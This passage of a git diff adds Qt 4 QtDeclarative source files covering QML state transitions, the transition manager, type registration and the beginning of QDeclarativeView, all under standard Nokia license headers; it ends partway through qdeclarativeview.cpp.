+ Q_PROPERTY(bool reversible READ reversible WRITE setReversible NOTIFY reversibleChanged)
+ Q_PROPERTY(QDeclarativeListProperty<QDeclarativeAbstractAnimation> animations READ animations)
+ Q_CLASSINFO("DefaultProperty", "animations")
+ Q_CLASSINFO("DeferredPropertyNames", "animations")
+
+public:
+ QDeclarativeTransition(QObject *parent=0);
+ ~QDeclarativeTransition();
+
+ QString fromState() const;
+ void setFromState(const QString &);
+
+ QString toState() const;
+ void setToState(const QString &);
+
+ bool reversible() const;
+ void setReversible(bool);
+
+ QDeclarativeListProperty<QDeclarativeAbstractAnimation> animations();
+
+ void prepare(QDeclarativeStateOperation::ActionList &actions,
+ QList<QDeclarativeProperty> &after,
+ QDeclarativeTransitionManager *end);
+
+ void setReversed(bool r);
+ void stop();
+
+Q_SIGNALS:
+ void fromChanged();
+ void toChanged();
+ void reversibleChanged();
+};
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativeTransition)
+
+QT_END_HEADER
+
+#endif // QDECLARATIVETRANSITION_H
diff --git a/src/declarative/util/qdeclarativetransitionmanager.cpp b/src/declarative/util/qdeclarativetransitionmanager.cpp
new file mode 100644
index 00000000..0cd66c05
--- /dev/null
+++ b/src/declarative/util/qdeclarativetransitionmanager.cpp
@@ -0,0 +1,276 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativetransitionmanager_p_p.h"
+
+#include "private/qdeclarativestate_p_p.h"
+#include "private/qdeclarativestate_p.h"
+
+#include <qdeclarativebinding_p.h>
+#include <qdeclarativeglobal_p.h>
+#include <qdeclarativeproperty_p.h>
+
+QT_BEGIN_NAMESPACE
+
+DEFINE_BOOL_CONFIG_OPTION(stateChangeDebug, STATECHANGE_DEBUG);
+
+class QDeclarativeTransitionManagerPrivate
+{
+public:
+ QDeclarativeTransitionManagerPrivate()
+ : state(0) {}
+
+ void applyBindings();
+ typedef QList<QDeclarativeSimpleAction> SimpleActionList;
+ QDeclarativeState *state;
+ QDeclarativeGuard<QDeclarativeTransition> transition;
+ QDeclarativeStateOperation::ActionList bindingsList;
+ SimpleActionList completeList;
+};
+
+QDeclarativeTransitionManager::QDeclarativeTransitionManager()
+: d(new QDeclarativeTransitionManagerPrivate)
+{
+}
+
+void QDeclarativeTransitionManager::setState(QDeclarativeState *s)
+{
+ d->state = s;
+}
+
+QDeclarativeTransitionManager::~QDeclarativeTransitionManager()
+{
+ delete d; d = 0;
+}
+
+void QDeclarativeTransitionManager::complete()
+{
+ d->applyBindings();
+
+ for (int ii = 0; ii < d->completeList.count(); ++ii) {
+ const QDeclarativeProperty &prop = d->completeList.at(ii).property();
+ prop.write(d->completeList.at(ii).value());
+ }
+
+ d->completeList.clear();
+
+ if (d->state)
+ static_cast<QDeclarativeStatePrivate*>(QObjectPrivate::get(d->state))->complete();
+}
+
+void QDeclarativeTransitionManagerPrivate::applyBindings()
+{
+ foreach(const QDeclarativeAction &action, bindingsList) {
+ if (!action.toBinding.isNull()) {
+ QDeclarativePropertyPrivate::setBinding(action.property, action.toBinding.data());
+ } else if (action.event) {
+ if (action.reverseEvent)
+ action.event->reverse();
+ else
+ action.event->execute();
+ }
+
+ }
+
+ bindingsList.clear();
+}
+
+void QDeclarativeTransitionManager::transition(const QList<QDeclarativeAction> &list,
+ QDeclarativeTransition *transition)
+{
+ cancel();
+
+ QDeclarativeStateOperation::ActionList applyList = list;
+ // Determine which actions are binding changes.
+ foreach(const QDeclarativeAction &action, applyList) {
+ if (action.toBinding)
+ d->bindingsList << action;
+ if (action.fromBinding)
+ QDeclarativePropertyPrivate::setBinding(action.property, 0); // Disable current binding
+ if (action.event && action.event->changesBindings()) { //### assume isReversable()?
+ d->bindingsList << action;
+ action.event->clearBindings();
+ }
+ }
+
+ // Animated transitions need both the start and the end value for
+ // each property change. In the presence of bindings, the end values
+ // are non-trivial to calculate. As a "best effort" attempt, we first
+ // apply all the property and binding changes, then read all the actual
+ // final values, then roll back the changes and proceed as normal.
+ //
+ // This doesn't catch everything, and it might be a little fragile in
+ // some cases - but whatcha going to do?
+
+ if (!d->bindingsList.isEmpty()) {
+
+ // Apply all the property and binding changes
+ for (int ii = 0; ii < applyList.size(); ++ii) {
+ const QDeclarativeAction &action = applyList.at(ii);
+ if (!action.toBinding.isNull()) {
+ QDeclarativePropertyPrivate::setBinding(action.property, action.toBinding.data(), QDeclarativePropertyPrivate::BypassInterceptor | QDeclarativePropertyPrivate::DontRemoveBinding);
+ } else if (!action.event) {
+ QDeclarativePropertyPrivate::write(action.property, action.toValue, QDeclarativePropertyPrivate::BypassInterceptor | QDeclarativePropertyPrivate::DontRemoveBinding);
+ } else if (action.event->isReversable()) {
+ if (action.reverseEvent)
+ action.event->reverse(QDeclarativeActionEvent::FastForward);
+ else
+ action.event->execute(QDeclarativeActionEvent::FastForward);
+ }
+ }
+
+ // Read all the end values for binding changes
+ for (int ii = 0; ii < applyList.size(); ++ii) {
+ QDeclarativeAction *action = &applyList[ii];
+ if (action->event) {
+ action->event->saveTargetValues();
+ continue;
+ }
+ const QDeclarativeProperty &prop = action->property;
+ if (!action->toBinding.isNull() || !action->toValue.isValid()) {
+ action->toValue = prop.read();
+ }
+ }
+
+ // Revert back to the original values
+ foreach(const QDeclarativeAction &action, applyList) {
+ if (action.event) {
+ if (action.event->isReversable()) {
+ action.event->clearBindings();
+ action.event->rewind();
+ action.event->clearBindings(); //### shouldn't be needed
+ }
+ continue;
+ }
+
+ if (action.toBinding)
+ QDeclarativePropertyPrivate::setBinding(action.property, 0); // Make sure this is disabled during the transition
+
+ QDeclarativePropertyPrivate::write(action.property, action.fromValue, QDeclarativePropertyPrivate::BypassInterceptor | QDeclarativePropertyPrivate::DontRemoveBinding);
+ }
+ }
+
+ if (transition) {
+ QList<QDeclarativeProperty> touched;
+ d->transition = transition;
+ d->transition->prepare(applyList, touched, this);
+
+ // Modify the action list to remove actions handled in the transition
+ for (int ii = 0; ii < applyList.count(); ++ii) {
+ const QDeclarativeAction &action = applyList.at(ii);
+
+ if (action.event) {
+
+ if (action.actionDone) {
+ applyList.removeAt(ii);
+ --ii;
+ }
+
+ } else {
+
+ if (touched.contains(action.property)) {
+ if (action.toValue != action.fromValue)
+ d->completeList <<
+ QDeclarativeSimpleAction(action, QDeclarativeSimpleAction::EndState);
+
+ applyList.removeAt(ii);
+ --ii;
+ }
+
+ }
+ }
+ }
+
+ // Any actions remaining have not been handled by the transition and should
+ // be applied immediately. We skip applying bindings, as they are all
+ // applied at the end in applyBindings() to avoid any nastiness mid
+ // transition
+ foreach(const QDeclarativeAction &action, applyList) {
+ if (action.event && !action.event->changesBindings()) {
+ if (action.event->isReversable() && action.reverseEvent)
+ action.event->reverse();
+ else
+ action.event->execute();
+ } else if (!action.event && !action.toBinding) {
+ action.property.write(action.toValue);
+ }
+ }
+#ifndef QT_NO_DEBUG_STREAM
+ if (stateChangeDebug()) {
+ foreach(const QDeclarativeAction &action, applyList) {
+ if (action.event)
+ qWarning() << " No transition for event:" << action.event->typeName();
+ else
+ qWarning() << " No transition for:" << action.property.object()
+ << action.property.name() << "From:" << action.fromValue
+ << "To:" << action.toValue;
+ }
+ }
+#endif
+ if (!transition)
+ d->applyBindings();
+}
+
+void QDeclarativeTransitionManager::cancel()
+{
+ if (d->transition) {
+ // ### this could potentially trigger a complete in rare circumstances
+ d->transition->stop();
+ d->transition = 0;
+ }
+
+ for(int i = 0; i < d->bindingsList.count(); ++i) {
+ QDeclarativeAction action = d->bindingsList[i];
+ if (!action.toBinding.isNull() && action.deletableToBinding) {
+ QDeclarativePropertyPrivate::setBinding(action.property, 0);
+ action.toBinding.data()->destroy();
+ action.toBinding.clear();
+ action.deletableToBinding = false;
+ } else if (action.event) {
+ //### what do we do here?
+ }
+
+ }
+ d->bindingsList.clear();
+ d->completeList.clear();
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/util/qdeclarativetransitionmanager_p_p.h b/src/declarative/util/qdeclarativetransitionmanager_p_p.h
new file mode 100644
index 00000000..64948cdb
--- /dev/null
+++ b/src/declarative/util/qdeclarativetransitionmanager_p_p.h
@@ -0,0 +1,85 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVETRANSITIONMANAGER_P_H
+#define QDECLARATIVETRANSITIONMANAGER_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "private/qdeclarativestateoperations_p.h"
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeStatePrivate;
+class QDeclarativeTransitionManagerPrivate;
+class Q_AUTOTEST_EXPORT QDeclarativeTransitionManager
+{
+public:
+ QDeclarativeTransitionManager();
+ ~QDeclarativeTransitionManager();
+
+ void transition(const QList<QDeclarativeAction> &, QDeclarativeTransition *transition);
+
+ void cancel();
+
+private:
+ Q_DISABLE_COPY(QDeclarativeTransitionManager)
+ QDeclarativeTransitionManagerPrivate *d;
+
+ void complete();
+ void setState(QDeclarativeState *);
+
+ friend class QDeclarativeState;
+ friend class QDeclarativeTransitionPrivate;
+};
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVETRANSITIONMANAGER_P_H
diff --git a/src/declarative/util/qdeclarativeutilmodule.cpp b/src/declarative/util/qdeclarativeutilmodule.cpp
new file mode 100644
index 00000000..c6590978
--- /dev/null
+++ b/src/declarative/util/qdeclarativeutilmodule.cpp
@@ -0,0 +1,174 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativeutilmodule_p.h"
+#include "private/qdeclarativeanimation_p.h"
+#include "private/qdeclarativeanimation_p_p.h"
+#include "private/qdeclarativebehavior_p.h"
+#include "private/qdeclarativebind_p.h"
+#include "private/qdeclarativeconnections_p.h"
+#include "private/qdeclarativesmoothedanimation_p.h"
+#include "private/qdeclarativefontloader_p.h"
+#include "private/qdeclarativelistaccessor_p.h"
+#include "private/qdeclarativelistmodel_p.h"
+#include "private/qdeclarativenullablevalue_p_p.h"
+#include "private/qdeclarativeopenmetaobject_p.h"
+#include "private/qdeclarativepackage_p.h"
+#include "private/qdeclarativepixmapcache_p.h"
+#include "private/qdeclarativepropertychanges_p.h"
+#include "qdeclarativepropertymap.h"
+#include "private/qdeclarativespringanimation_p.h"
+#include "private/qdeclarativestategroup_p.h"
+#include "private/qdeclarativestateoperations_p.h"
+#include "private/qdeclarativestate_p.h"
+#include "private/qdeclarativestate_p_p.h"
+#include "private/qdeclarativestyledtext_p.h"
+#include "private/qdeclarativesystempalette_p.h"
+#include "private/qdeclarativetimeline_p_p.h"
+#include "private/qdeclarativetimer_p.h"
+#include "private/qdeclarativetransitionmanager_p_p.h"
+#include "private/qdeclarativetransition_p.h"
+#include "private/qdeclarativeapplication_p.h"
+#include "qdeclarativeview.h"
+#include "qdeclarativeinfo.h"
+#include "private/qdeclarativetypenotavailable_p.h"
+#ifndef QT_NO_XMLPATTERNS
+#include "private/qdeclarativexmllistmodel_p.h"
+#endif
+
+void QDeclarativeUtilModule::defineModule()
+{
+ qmlRegisterUncreatableType<QDeclarativeApplication>("QtQuick",1,1,"Application", QDeclarativeApplication::tr("Application is an abstract class"));
+
+ qmlRegisterType<QDeclarativeAnchorAnimation>("QtQuick",1,0,"AnchorAnimation");
+ qmlRegisterType<QDeclarativeAnchorChanges>("QtQuick",1,0,"AnchorChanges");
+ qmlRegisterType<QDeclarativeBehavior>("QtQuick",1,0,"Behavior");
+ qmlRegisterType<QDeclarativeBind>("QtQuick",1,0,"Binding");
+ qmlRegisterType<QDeclarativeColorAnimation>("QtQuick",1,0,"ColorAnimation");
+ qmlRegisterType<QDeclarativeConnections>("QtQuick",1,0,"Connections");
+ qmlRegisterType<QDeclarativeSmoothedAnimation>("QtQuick",1,0,"SmoothedAnimation");
+ qmlRegisterType<QDeclarativeFontLoader>("QtQuick",1,0,"FontLoader");
+ qmlRegisterType<QDeclarativeListElement>("QtQuick",1,0,"ListElement");
+ qmlRegisterType<QDeclarativeNumberAnimation>("QtQuick",1,0,"NumberAnimation");
+ qmlRegisterType<QDeclarativePackage>("QtQuick",1,0,"Package");
+ qmlRegisterType<QDeclarativeParallelAnimation>("QtQuick",1,0,"ParallelAnimation");
+ qmlRegisterType<QDeclarativeParentAnimation>("QtQuick",1,0,"ParentAnimation");
+ qmlRegisterType<QDeclarativeParentChange>("QtQuick",1,0,"ParentChange");
+ qmlRegisterType<QDeclarativePauseAnimation>("QtQuick",1,0,"PauseAnimation");
+ qmlRegisterType<QDeclarativePropertyAction>("QtQuick",1,0,"PropertyAction");
+ qmlRegisterType<QDeclarativePropertyAnimation>("QtQuick",1,0,"PropertyAnimation");
+ qmlRegisterType<QDeclarativeRotationAnimation>("QtQuick",1,0,"RotationAnimation");
+ qmlRegisterType<QDeclarativeScriptAction>("QtQuick",1,0,"ScriptAction");
+ qmlRegisterType<QDeclarativeSequentialAnimation>("QtQuick",1,0,"SequentialAnimation");
+ qmlRegisterType<QDeclarativeSpringAnimation>("QtQuick",1,0,"SpringAnimation");
+ qmlRegisterType<QDeclarativeStateChangeScript>("QtQuick",1,0,"StateChangeScript");
+ qmlRegisterType<QDeclarativeStateGroup>("QtQuick",1,0,"StateGroup");
+ qmlRegisterType<QDeclarativeState>("QtQuick",1,0,"State");
+ qmlRegisterType<QDeclarativeSystemPalette>("QtQuick",1,0,"SystemPalette");
+ qmlRegisterType<QDeclarativeTimer>("QtQuick",1,0,"Timer");
+ qmlRegisterType<QDeclarativeTransition>("QtQuick",1,0,"Transition");
+ qmlRegisterType<QDeclarativeVector3dAnimation>("QtQuick",1,0,"Vector3dAnimation");
+#ifdef QT_NO_XMLPATTERNS
+ qmlRegisterTypeNotAvailable("QtQuick",1,0,"XmlListModel",
+ qApp->translate("QDeclarativeXmlListModel","Qt was built without support for xmlpatterns"));
+ qmlRegisterTypeNotAvailable("QtQuick",1,0,"XmlRole",
+ qApp->translate("QDeclarativeXmlListModel","Qt was built without support for xmlpatterns"));
+#else
+ qmlRegisterType<QDeclarativeXmlListModel>("QtQuick",1,0,"XmlListModel");
+ qmlRegisterType<QDeclarativeXmlListModelRole>("QtQuick",1,0,"XmlRole");
+#endif
+
+ qmlRegisterType<QDeclarativeAnchors>();
+ qmlRegisterType<QDeclarativeStateOperation>();
+ qmlRegisterType<QDeclarativeAnchorSet>();
+
+ qmlRegisterUncreatableType<QDeclarativeAbstractAnimation>("QtQuick",1,0,"Animation",QDeclarativeAbstractAnimation::tr("Animation is an abstract class"));
+
+ qmlRegisterCustomType<QDeclarativeListModel>("QtQuick",1,0,"ListModel", new QDeclarativeListModelParser);
+ qmlRegisterCustomType<QDeclarativePropertyChanges>("QtQuick",1,0,"PropertyChanges", new QDeclarativePropertyChangesParser);
+ qmlRegisterCustomType<QDeclarativeConnections>("QtQuick",1,0,"Connections", new QDeclarativeConnectionsParser);
+
+#ifndef QT_NO_IMPORT_QT47_QML
+ qmlRegisterType<QDeclarativeAnchorAnimation>("Qt",4,7,"AnchorAnimation");
+ qmlRegisterType<QDeclarativeAnchorChanges>("Qt",4,7,"AnchorChanges");
+ qmlRegisterType<QDeclarativeBehavior>("Qt",4,7,"Behavior");
+ qmlRegisterType<QDeclarativeBind>("Qt",4,7,"Binding");
+ qmlRegisterType<QDeclarativeColorAnimation>("Qt",4,7,"ColorAnimation");
+ qmlRegisterType<QDeclarativeConnections>("Qt",4,7,"Connections");
+ qmlRegisterType<QDeclarativeSmoothedAnimation>("Qt",4,7,"SmoothedAnimation");
+ qmlRegisterType<QDeclarativeFontLoader>("Qt",4,7,"FontLoader");
+ qmlRegisterType<QDeclarativeListElement>("Qt",4,7,"ListElement");
+ qmlRegisterType<QDeclarativeNumberAnimation>("Qt",4,7,"NumberAnimation");
+ qmlRegisterType<QDeclarativePackage>("Qt",4,7,"Package");
+ qmlRegisterType<QDeclarativeParallelAnimation>("Qt",4,7,"ParallelAnimation");
+ qmlRegisterType<QDeclarativeParentAnimation>("Qt",4,7,"ParentAnimation");
+ qmlRegisterType<QDeclarativeParentChange>("Qt",4,7,"ParentChange");
+ qmlRegisterType<QDeclarativePauseAnimation>("Qt",4,7,"PauseAnimation");
+ qmlRegisterType<QDeclarativePropertyAction>("Qt",4,7,"PropertyAction");
+ qmlRegisterType<QDeclarativePropertyAnimation>("Qt",4,7,"PropertyAnimation");
+ qmlRegisterType<QDeclarativeRotationAnimation>("Qt",4,7,"RotationAnimation");
+ qmlRegisterType<QDeclarativeScriptAction>("Qt",4,7,"ScriptAction");
+ qmlRegisterType<QDeclarativeSequentialAnimation>("Qt",4,7,"SequentialAnimation");
+ qmlRegisterType<QDeclarativeSpringAnimation>("Qt",4,7,"SpringAnimation");
+ qmlRegisterType<QDeclarativeStateChangeScript>("Qt",4,7,"StateChangeScript");
+ qmlRegisterType<QDeclarativeStateGroup>("Qt",4,7,"StateGroup");
+ qmlRegisterType<QDeclarativeState>("Qt",4,7,"State");
+ qmlRegisterType<QDeclarativeSystemPalette>("Qt",4,7,"SystemPalette");
+ qmlRegisterType<QDeclarativeTimer>("Qt",4,7,"Timer");
+ qmlRegisterType<QDeclarativeTransition>("Qt",4,7,"Transition");
+ qmlRegisterType<QDeclarativeVector3dAnimation>("Qt",4,7,"Vector3dAnimation");
+#ifdef QT_NO_XMLPATTERNS
+ qmlRegisterTypeNotAvailable("Qt",4,7,"XmlListModel",
+ qApp->translate("QDeclarativeXmlListModel","Qt was built without support for xmlpatterns"));
+ qmlRegisterTypeNotAvailable("Qt",4,7,"XmlRole",
+ qApp->translate("QDeclarativeXmlListModel","Qt was built without support for xmlpatterns"));
+#else
+ qmlRegisterType<QDeclarativeXmlListModel>("Qt",4,7,"XmlListModel");
+ qmlRegisterType<QDeclarativeXmlListModelRole>("Qt",4,7,"XmlRole");
+#endif
+
+ qmlRegisterUncreatableType<QDeclarativeAbstractAnimation>("Qt",4,7,"Animation",QDeclarativeAbstractAnimation::tr("Animation is an abstract class"));
+
+ qmlRegisterCustomType<QDeclarativeListModel>("Qt", 4,7, "ListModel", new QDeclarativeListModelParser);
+ qmlRegisterCustomType<QDeclarativePropertyChanges>("Qt", 4, 7, "PropertyChanges", new QDeclarativePropertyChangesParser);
+ qmlRegisterCustomType<QDeclarativeConnections>("Qt", 4, 7, "Connections", new QDeclarativeConnectionsParser);
+#endif
+}
diff --git a/src/declarative/util/qdeclarativeutilmodule_p.h b/src/declarative/util/qdeclarativeutilmodule_p.h
new file mode 100644
index 00000000..addfad6c
--- /dev/null
+++ b/src/declarative/util/qdeclarativeutilmodule_p.h
@@ -0,0 +1,63 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEUTILMODULE_H
+#define QDECLARATIVEUTILMODULE_H
+
+#include <qdeclarative.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeUtilModule
+{
+public:
+ static void defineModule();
+};
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEUTILMODULE_H
diff --git a/src/declarative/util/qdeclarativeview.cpp b/src/declarative/util/qdeclarativeview.cpp
new file mode 100644
index 00000000..ec357ffb
--- /dev/null
+++ b/src/declarative/util/qdeclarativeview.cpp
@@ -0,0 +1,739 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qdeclarativeview.h"
+
+#include <qdeclarative.h>
+#include <qdeclarativeitem.h>
+#include <qdeclarativeengine.h>
+#include <qdeclarativecontext.h>
+#include <qdeclarativeglobal_p.h>
+#include <qdeclarativeguard_p.h>
+
+#include <private/qdeclarativedebugtrace_p.h>
+#include <private/qdeclarativeinspectorservice_p.h>
+
+#include <qscriptvalueiterator.h>
+#include <qdebug.h>
+#include <qtimer.h>
+#include <qevent.h>
+#include <qdir.h>
+#include <qcoreapplication.h>
+#include <qfontdatabase.h>
+#include <qicon.h>
+#include <qurl.h>
+#include <qlayout.h>
+#include <qwidget.h>
+#include <qgraphicswidget.h>
+#include <qbasictimer.h>
+#include <QtCore/qabstractanimation.h>
+#include <private/qgraphicsview_p.h>
+#include <private/qdeclarativeitem_p.h>
+#include <private/qabstractanimation_p.h>
+#include <private/qdeclarativeitemchangelistener_p.h>
+
+QT_BEGIN_NAMESPACE
+
+DEFINE_BOOL_CONFIG_OPTION(frameRateDebug, QML_SHOW_FRAMERATE)
+
+class QDeclarativeScene : public QGraphicsScene
+{
+public:
+ QDeclarativeScene(QObject *parent = 0);
+
+protected:
+ virtual void keyPressEvent(QKeyEvent *);
+ virtual void keyReleaseEvent(QKeyEvent *);
+
+ virtual void mouseMoveEvent(QGraphicsSceneMouseEvent *);
+ virtual void mousePressEvent(QGraphicsSceneMouseEvent *);
+ virtual void mouseReleaseEvent(QGraphicsSceneMouseEvent *);
+};
+
+QDeclarativeScene::QDeclarativeScene(QObject *parent) : QGraphicsScene(parent)
+{
+}
+
+void QDeclarativeScene::keyPressEvent(QKeyEvent *e)
+{
+ QDeclarativeDebugTrace::addEvent(QDeclarativeDebugTrace::Key);
+
+ QGraphicsScene::keyPressEvent(e);
+}
+
+void QDeclarativeScene::keyReleaseEvent(QKeyEvent *e)
+{
+ QDeclarativeDebugTrace::addEvent(QDeclarativeDebugTrace::Key);
+
+ QGraphicsScene::keyReleaseEvent(e);
+}
+
+void QDeclarativeScene::mouseMoveEvent(QGraphicsSceneMouseEvent *e)
+{
+ QDeclarativeDebugTrace::addEvent(QDeclarativeDebugTrace::Mouse);
+
+ QGraphicsScene::mouseMoveEvent(e);
+}
+
+void QDeclarativeScene::mousePressEvent(QGraphicsSceneMouseEvent *e)
+{
+ QDeclarativeDebugTrace::addEvent(QDeclarativeDebugTrace::Mouse);
+
+ QGraphicsScene::mousePressEvent(e);
+}
+
+void QDeclarativeScene::mouseReleaseEvent(QGraphicsSceneMouseEvent *e)
+{
+ QDeclarativeDebugTrace::addEvent(QDeclarativeDebugTrace::Mouse);
+
+ QGraphicsScene::mouseReleaseEvent(e);
+}
+
+class QDeclarativeViewPrivate : public QGraphicsViewPrivate, public QDeclarativeItemChangeListener
+{
+ Q_DECLARE_PUBLIC(QDeclarativeView)
+public:
+ QDeclarativeViewPrivate()
+ : root(0), declarativeItemRoot(0), graphicsWidgetRoot(0), component(0),
+ resizeMode(QDeclarativeView::SizeViewToRootObject), initialSize(0,0) {}
+ ~QDeclarativeViewPrivate() { delete root; delete engine; }
+ void execute();
+ void itemGeometryChanged(QDeclarativeItem *item, const QRectF &newGeometry, const QRectF &oldGeometry);
+ void initResize();
+ void updateSize();
+ inline QSize rootObjectSize() const;
+
+ QDeclarativeGuard<QGraphicsObject> root;
+ QDeclarativeGuard<QDeclarativeItem> declarativeItemRoot;
+ QDeclarativeGuard<QGraphicsWidget> graphicsWidgetRoot;
+
+ QUrl source;
+
+ QDeclarativeEngine* engine;
+ QDeclarativeComponent *component;
+ QBasicTimer resizetimer;
+
+ QDeclarativeView::ResizeMode resizeMode;
+ QSize initialSize;
+ QElapsedTimer frameTimer;
+
+ void init();
+};
+
+void QDeclarativeViewPrivate::execute()
+{
+ Q_Q(QDeclarativeView);
+ if (root) {
+ delete root;
+ root = 0;
+ }
+ if (component) {
+ delete component;
+ component = 0;
+ }
+ if (!source.isEmpty()) {
+ component = new QDeclarativeComponent(engine, source, q);
+ if (!component->isLoading()) {
+ q->continueExecute();
+ } else {
